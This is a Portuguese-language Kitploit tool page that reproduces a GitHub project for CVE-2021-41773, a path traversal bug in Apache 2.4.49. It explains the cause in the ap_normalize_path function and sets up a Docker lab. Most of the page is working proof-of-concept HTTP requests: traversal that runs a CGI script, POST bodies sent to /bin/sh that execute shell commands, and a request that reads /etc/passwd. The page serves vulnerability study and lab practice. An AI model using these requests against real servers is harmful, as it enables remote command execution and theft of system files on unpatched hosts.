Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/1nhann/cve-2021-41773
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoLabs e Prática
GitHub1nhann/cve-2021-41773

CVE-2021-41773

Reprodução de CVE-2021-41773

Ver Repositório
9413há 4 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Reprodução do CVE-2021-41773

https://www.tenable.com/blog/cve-2021-41773-path-traversal-zero-day-in-apache-http-server-exploited

Vulnerabilidade exclusiva do Apache v2.4.49. Em versões anteriores não existia a função ap_normalize_path, que foi introduzida na versão v2.4.49. Foi essa função que causou a travessia de diretórios, corrigida na v2.4.50.

Ambiente

https://github.com/1nhann/CVE-2021-41773

Neste ambiente, o módulo CGI foi carregado:

root@kitploit:~
LoadModule cgi_module modules/mod_cgi.so
root@kitploit:~
root@ubuntu:~/$ git clone https://github.com/1nhann/CVE-2021-41773.git
root@ubuntu:~/$ cd CVE-2021-41773
root@ubuntu:~/CVE-2021-41773$ docker build -t cve .
root@ubuntu:~/CVE-2021-41773$ docker run -d -p 12345:80 cve

Dentro do container: image-20211006213843476

PoC

root@kitploit:~
GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bash.cgi HTTP/1.1
Host: 127.0.0.1:12345
User-Agent: curl/7.68.0
Accept: */*
Connection: close


Baixar ferramenta

image-20211006210008166

Executou o /bash.cgi da raiz.

Obter shell

Consultando a documentação do Apache sobre CGI:

STDIN e STDOUT

Outra comunicação entre o servidor e o cliente ocorre via entrada padrão (STDIN) e saída padrão (STDOUT). No contexto cotidiano, STDIN significa o teclado, ou um arquivo que um programa recebe para processar, e STDOUT geralmente significa o console ou tela.

Quando você faz um POST de um formulário web para um programa CGI, os dados desse formulário são agrupados em um formato especial e entregues ao seu programa CGI via STDIN. O programa pode então processar esses dados como se estivessem vindo do teclado ou de um arquivo.

O "formato especial" é muito simples. Um nome de campo e seu valor são unidos por um sinal de igual (=), e pares de valores são unidos por um e comercial (&). Caracteres inconvenientes como espaços, e comerciais e sinais de igual são convertidos em seus equivalentes hexadecimais para não atrapalharem o funcionamento. A string de dados completa pode ser algo como:

root@kitploit:~
name=Rich%20Bowen&city=Lexington&state=KY&sidekick=Squirrel%20Monkey

Ou seja, os parâmetros passados via POST são fornecidos como conteúdo de stdin para o programa CGI acessado.

Se acessar /bin/sh, é possível obter um shell diretamente.

PoC:

root@kitploit:~
POST /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1
Host: 127.0.0.1:12345
User-Agent: curl/7.68.0
Accept: */*
Content-Length: 22
Content-Type: application/x-www-form-urlencoded
Connection: close

data=;touch /tmp/pwned

image-20211006213421718

Também é possível exibir diretamente o resultado da execução do comando:

PoC:

root@kitploit:~
POST /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1
Host: 127.0.0.1:12345
User-Agent: curl/7.68.0
Accept: */*
Content-Length: 22
Content-Type: application/x-www-form-urlencoded
Connection: close

echo Content-Type: text/plain; echo; id

Leitura arbitrária de arquivos

Se o módulo CGI não estiver carregado, o arquivo acessado não será executado:

root@kitploit:~
#LoadModule cgi_module modules/mod_cgi.so

PoC:

root@kitploit:~
GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1
Host: 127.0.0.1:12345
User-Agent: curl/7.68.0
Accept: */*
Connection: close


image-20211006232521116